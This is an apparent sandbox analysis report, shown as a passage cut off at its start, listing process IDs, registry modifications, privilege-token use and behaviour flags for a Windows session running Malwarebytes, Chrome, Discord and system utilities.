4108	taskkill.exe
1680	taskkill.exe
5652	taskkill.exe
5916	taskkill.exe
6076	taskkill.exe
5204	taskkill.exe
5584	taskkill.exe
4088	taskkill.exe
4516	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\mbamtray.exe = "11000"	MBAMInstallerService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	MBAMService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\mbam.exe = "11000"	MBAMService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\mbamtray.exe = "11000"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	MBAMInstallerService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\mbam.exe = "11000"	MBAMInstallerService.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	MBAMService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MBAMWsc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	MBAMService.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Policies\Microsoft\Office\15.0\Common\Security\Trusted Protocols\All Applications\malwarebytes:	MBAMInstallerService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	MBAMService.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\Office\15.0\Common\Security	MBAMInstallerService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MBAMService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	MBAMService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	MBAMService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\Office\16.0\Common\Security\Trusted Protocols\All Applications	MBAMInstallerService.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\Office\16.0\Common\Security\Trusted Protocols\All Applications\malwarebytes:\	MBAMInstallerService.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Malwarebytes\FirstRun = "false"	MBAMInstallerService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\Office\15.0\Common\Security\Trusted Protocols\All Applications\malwarebytes:	MBAMInstallerService.exe
Key created	\REGISTRY\USER\S-1-5-19\Software	MBAMInstallerService.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@%SystemRoot%\System32\SessEnv.dll,-101 = "Remote Desktop"	certutil.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Policies\Microsoft\Office\16.0\Common	MBAMInstallerService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\Office\15.0\Common\Security\Trusted Protocols\All Applications	MBAMInstallerService.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft	MBAMInstallerService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MBAMService.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Malwarebytes\FirstRun = "false"	MBAMInstallerService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\Office\15.0\Common	MBAMInstallerService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	MBAMService.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\Office\15.0\Common\Security\Trusted Protocols\All Applications\malwarebytes:\	MBAMInstallerService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	MBAMService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	MBAMService.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@%SystemRoot%\System32\CertCA.dll,-304 = "Endorsement Key Trusted Root Certification Authorities"	certutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\Office\15.0	MBAMInstallerService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	MBAMInstallerService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\Office	MBAMInstallerService.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\Office	MBAMInstallerService.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\Office\15.0	MBAMInstallerService.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\Office\16.0	MBAMInstallerService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MBAMService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	MBAMService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	MBAMService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	MBAMInstallerService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	MBAMInstallerService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\Office\16.0\Common	MBAMInstallerService.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Policies\Microsoft\Office\16.0	MBAMInstallerService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	MBAMService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MBAMWsc.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Policies\Microsoft\Office	MBAMInstallerService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\Office\16.0	MBAMInstallerService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	MBAMService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	MBAMService.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\Office\16.0\Common\Security\Trusted Protocols	MBAMInstallerService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MBAMService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MBAMWsc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\Office\15.0\Common\Security\Trusted Protocols	MBAMInstallerService.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Policies	MBAMInstallerService.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies	MBAMInstallerService.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Policies\Microsoft\Office\16.0\Common\Security\Trusted Protocols\All Applications	MBAMInstallerService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	MBAMService.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\Office\15.0\Common\Security\Trusted Protocols\All Applications\malwarebytes:	MBAMInstallerService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\MY	MBAMService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	MBAMService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	MBAMService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	MBAMService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\Office\15.0\Common\Security	MBAMInstallerService.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Policies\Microsoft\Office\15.0\Common\Security	MBAMInstallerService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	MBAMService.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@C:\Windows\System32\AppxPackaging.dll,-1001 = "Trusted Packaged App Installation Authorities"	certutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies	MBAMInstallerService.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\Office\15.0\Common\Security\Trusted Protocols	MBAMInstallerService.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{562B1FA7-13DE-40A1-8839-AB2C5FA3129C}\TypeLib\ = "{A82129F1-32E1-4D79-A39F-EBFEE53A70BF}"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{EE77988C-B530-4686-8294-F7AB429DFD0C}\ = "ICloudControllerV5"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{DD3CFEBD-3B8E-4651-BB7C-537D1F03E59C}	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E7DAEEB9-30B6-4AC4-BB74-7763C950D8EC}	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{D88AC9B4-2BC3-4215-9547-4F05743AE67B}\TypeLib	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{5CE94D34-A1E4-4FA8-BEDC-6A32683B85F5}	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{698A4513-65F0-46A3-9633-220A6E4D1D07}\ProxyStubClsid32	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{1C5B86F3-CEB8-44E3-9B83-6F6AF035E872}\TypeLib\Version = "1.0"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{ECDAC35E-72BB-4856-97E1-226BA47C62C5}\TypeLib\Version = "1.0"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{6C1047E9-9ADC-4F8A-8594-036375F53103}\ = "ICleanControllerV8"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{D8258E71-3A7A-4D9D-85BB-C7999F95B7E4}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{3968399C-D098-40AF-9700-734B46FF03C9}\ProxyStubClsid32	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{6696D5DD-4143-482C-ABF4-3B215CF3DBFC}	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{473BC184-760C-4255-A118-E8064C4EC595}\TypeLib	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DC2F8F62-D471-4AD5-B346-9F214FE941A7}\TypeLib	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{B1BDE8B0-F598-4334-9991-ECC7442EEAA6}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E2870643-0645-41F9-BCCB-F5969386162C}	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1917B432-C1CE-4A96-A08E-A270E00E5B23}\ProxyStubClsid32	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MB.UpdateController\CurVer	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5709DEEB-F05E-4D5C-8DC4-3B0D924EE08F}\1.0\HELPDIR\ = "C:\\Program Files\\Malwarebytes\\Anti-Malware"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{A82129F1-32E1-4D79-A39F-EBFEE53A70BF}\1.0	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{8153C0A7-AC17-452A-9388-358F782478D4}\TypeLib\ = "{A82129F1-32E1-4D79-A39F-EBFEE53A70BF}"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{10DAE713-FD88-4ADB-9406-04CB574D543C}\TypeLib\Version = "1.0"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C7BCC13C-47B9-4DC0-8FC6-B2A489EF60EF}\TypeLib	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0E64B3CF-7D56-4F76-8B9F-A6CD0D3393AE}\TypeLib\ = "{5709DEEB-F05E-4D5C-8DC4-3B0D924EE08F}"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{19184D37-6938-4F54-BAFD-3240F0FA75E6}\ProxyStubClsid32	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{24F9231B-265E-4C66-B10B-D438EF1EB510}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{638A43D2-5475-424B-87B8-042109D7768F}\TypeLib\Version = "1.0"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{AFF1A83B-6C83-4342-8E68-1648DE06CB65}\1.0\FLAGS\ = "0"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{553B1C62-BE94-4CE0-8041-EB3BC1329D20}	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{553B1C62-BE94-4CE0-8041-EB3BC1329D20}\TypeLib\Version = "1.0"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{F49090F8-7DC6-4CBC-893A-C1B3DCF88D87}\TypeLib\Version = "1.0"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{FB81F893-5D01-4DFD-98E1-3A6CB9C3E63E}\TypeLib	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{376BE474-56D4-4177-BB4E-5610156F36C8}	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{226C1698-A075-4315-BB5D-9C164A96ACE7}\1.0\HELPDIR	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{8FF168C7-A609-4237-A076-E461334BF4EA}\ProxyStubClsid32	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{01222402-A8AB-4183-8843-8ADBF0B11869}\ProxyStubClsid32	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{557ADCF9-0496-46F6-A580-FF8EC1441050}	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{99E6F3FE-333C-462C-8C39-BC27DCA4A80E}\TypeLib\Version = "1.0"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{D4AC5360-A581-42A7-8DD6-D63A5C3AA7F1}	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{FD6673C7-8E52-46EE-80B8-58F3FB6AA036}\ProxyStubClsid32	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8F1C46F8-E697-4175-B240-CDE682A4BA2D}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe\""	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{6C1047E9-9ADC-4F8A-8594-036375F53103}	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{44ACF635-5275-4730-95E5-03E4D192D8C8}\TypeLib\ = "{332AFEBA-9341-4CEC-8EA6-DB155A99DF63}"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{96C7187E-6EC4-49BD-88C7-04A3A8A97CC5}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{BDCB7916-7DE8-44C8-BAF6-F1BBB3268456}\TypeLib\Version = "1.0"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7968A0D1-5C9E-4F28-8C2F-E215BC7DF146}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{E1AC7139-D1FF-4DE9-84A4-92E2B47F5D2A}\ProgID\ = "MB.RTPController.1"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{3E3D4AC2-A9AE-478A-91EE-79C35D3CA8C7}	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E2D56B7B-4B87-45A1-A6D3-5C77035141A6}\ProxyStubClsid32	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{6B2CCE9B-6446-450F-9C9D-542CD9FA6677}\TypeLib	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0468FE5A-FFDA-4F57-83F5-79116160E9B8}\TypeLib	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{B59F38D8-23CF-4D7F-BAE8-939738B3001B}\ = "IAEControllerV6"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{59DBD1B8-A7BD-4322-998F-41B0D2516FA0}\1.0\FLAGS	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{015FAC74-0374-494A-A02D-316D562C0FCE}\TypeLib\Version = "1.0"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F415899A-1576-4C8B-BC9F-4854781F8A20}\AppID = "{1F7896AD-8886-42CD-8ABD-7A1315A3A5F2}"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{4E0987E3-3699-4C92-8E76-CAEDA00FA44C}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{CC4D9C86-78F2-435F-8355-5328509E04F1}\ = "ITelemetryControllerV4"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E32ABD9A-1CBD-44A5-8A62-55D347D3C4F0}\TypeLib\Version = "1.0"	MBAMService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{ADA09B8D-A536-4429-8331-49808442D24B}\TypeLib\ = "{5709DEEB-F05E-4D5C-8DC4-3B0D924EE08F}"	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{CDA4F172-98EF-4DF6-89AB-852D1B0EC2D4}\ProxyStubClsid32	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{46AEAC9A-C091-4B63-926C-37CFBD9D244F}	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E2870643-0645-41F9-BCCB-F5969386162C}\TypeLib	MBAMService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{A9AE95CF-6463-415A-94AC-F895D0962D30}\TypeLib	MBAMService.exe

Modifies registry key 1 TTPs 20 IoCs

Modify Registry

pid	Process
4716	reg.exe
2716	reg.exe
3392	reg.exe
1348	reg.exe
1280	reg.exe
3680	reg.exe
1756	reg.exe
3984	reg.exe
3036	reg.exe
2364	reg.exe
4788	reg.exe
4060	reg.exe
5460	reg.exe
3752	reg.exe
5044	reg.exe
5088	reg.exe
2748	reg.exe
5508	reg.exe
5320	reg.exe
2044	reg.exe

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 7 IoCs

pid	Process
3260	mbamtray.exe
2844	mbam.exe
4276	assistant.exe
3440	assistant.exe
4520	assistant.exe
4072	Conhost.exe
5476	malwarebytes_assistant.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
400	chrome.exe
400	chrome.exe
4984	chrome.exe
4984	chrome.exe
1040	chrome.exe
1040	chrome.exe
444	chrome.exe
444	chrome.exe
4288	chrome.exe
4288	chrome.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3168	chrome.exe
3168	chrome.exe
3780	taskmgr.exe
3780	taskmgr.exe
3020	chrome.exe
3020	chrome.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
1280	chrome.exe
1280	chrome.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
4748	chrome.exe
4748	chrome.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
4652	Discord.exe
4652	Discord.exe
4652	Discord.exe
4652	Discord.exe
3780	taskmgr.exe
4652	Discord.exe
4652	Discord.exe
4652	Discord.exe
4652	Discord.exe
4652	Discord.exe
4652	Discord.exe
3780	taskmgr.exe
3780	taskmgr.exe
3744	Discord.exe
3744	Discord.exe
3780	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 5 IoCs

pid	Process
3780	taskmgr.exe
2728	taskmgr.exe
2304	Discord.exe
3260	mbamtray.exe
2844	mbam.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 33 IoCs

pid	Process
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
5460	msedge.exe
5460	msedge.exe
5460	msedge.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3780	taskmgr.exe
Token: SeSystemProfilePrivilege	3780	taskmgr.exe
Token: SeCreateGlobalPrivilege	3780	taskmgr.exe
Token: SeDebugPrivilege	4384	Update.exe
Token: 33	4356	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4356	AUDIODG.EXE
Token: SeRestorePrivilege	2128	7zG.exe
Token: 35	2128	7zG.exe
Token: SeSecurityPrivilege	2128	7zG.exe
Token: SeSecurityPrivilege	2128	7zG.exe
Token: 33	3780	taskmgr.exe
Token: SeIncBasePriorityPrivilege	3780	taskmgr.exe
Token: SeDebugPrivilege	2728	taskmgr.exe
Token: SeSystemProfilePrivilege	2728	taskmgr.exe
Token: SeCreateGlobalPrivilege	2728	taskmgr.exe
Token: SeShutdownPrivilege	2308	powercfg.exe
Token: SeCreatePagefilePrivilege	2308	powercfg.exe
Token: SeShutdownPrivilege	5336	powercfg.exe
Token: SeCreatePagefilePrivilege	5336	powercfg.exe
Token: SeShutdownPrivilege	5336	powercfg.exe
Token: SeCreatePagefilePrivilege	5336	powercfg.exe
Token: SeDebugPrivilege	4328	tasklist.exe
Token: SeDebugPrivilege	5084	tasklist.exe
Token: SeDebugPrivilege	1980	powershell.exe
Token: SeDebugPrivilege	64	powershell.exe
Token: SeDebugPrivilege	5584	taskkill.exe
Token: SeShutdownPrivilege	5792	powercfg.exe
Token: SeCreatePagefilePrivilege	5792	powercfg.exe
Token: SeShutdownPrivilege	5740	powercfg.exe
Token: SeCreatePagefilePrivilege	5740	powercfg.exe
Token: SeShutdownPrivilege	5740	powercfg.exe
Token: SeCreatePagefilePrivilege	5740	powercfg.exe
Token: SeDebugPrivilege	1964	tasklist.exe
Token: SeDebugPrivilege	3124	tasklist.exe
Token: SeDebugPrivilege	5084	powershell.exe
Token: SeDebugPrivilege	3296	powershell.exe
Token: SeDebugPrivilege	4832	taskkill.exe
Token: SeDebugPrivilege	4088	taskkill.exe
Token: SeDebugPrivilege	1532	taskkill.exe
Token: SeDebugPrivilege	876	powershell.exe
Token: SeDebugPrivilege	2016	tasklist.exe
Token: SeDebugPrivilege	5076	tasklist.exe
Token: SeDebugPrivilege	848	tasklist.exe
Token: SeRestorePrivilege	3796	7zG.exe
Token: 35	3796	7zG.exe
Token: SeSecurityPrivilege	3796	7zG.exe
Token: SeSecurityPrivilege	3796	7zG.exe
Token: SeDebugPrivilege	5224	tasklist.exe
Token: SeDebugPrivilege	1152	tasklist.exe
Token: SeDebugPrivilege	4248	tasklist.exe
Token: SeDebugPrivilege	2712	tasklist.exe
Token: SeSecurityPrivilege	2728	taskmgr.exe
Token: SeTakeOwnershipPrivilege	2728	taskmgr.exe
Token: SeDebugPrivilege	5136	tasklist.exe
Token: SeDebugPrivilege	1880	tasklist.exe
Token: SeDebugPrivilege	4136	tasklist.exe
Token: SeDebugPrivilege	1064	tasklist.exe
Token: SeDebugPrivilege	5332	tasklist.exe
Token: SeDebugPrivilege	5060	tasklist.exe
Token: SeDebugPrivilege	892	powershell.exe
Token: SeDebugPrivilege	5584	tasklist.exe
Token: SeDebugPrivilege	4648	tasklist.exe
Token: SeDebugPrivilege	1680	taskkill.exe
Token: SeDebugPrivilege	4108	taskkill.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
4984	chrome.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
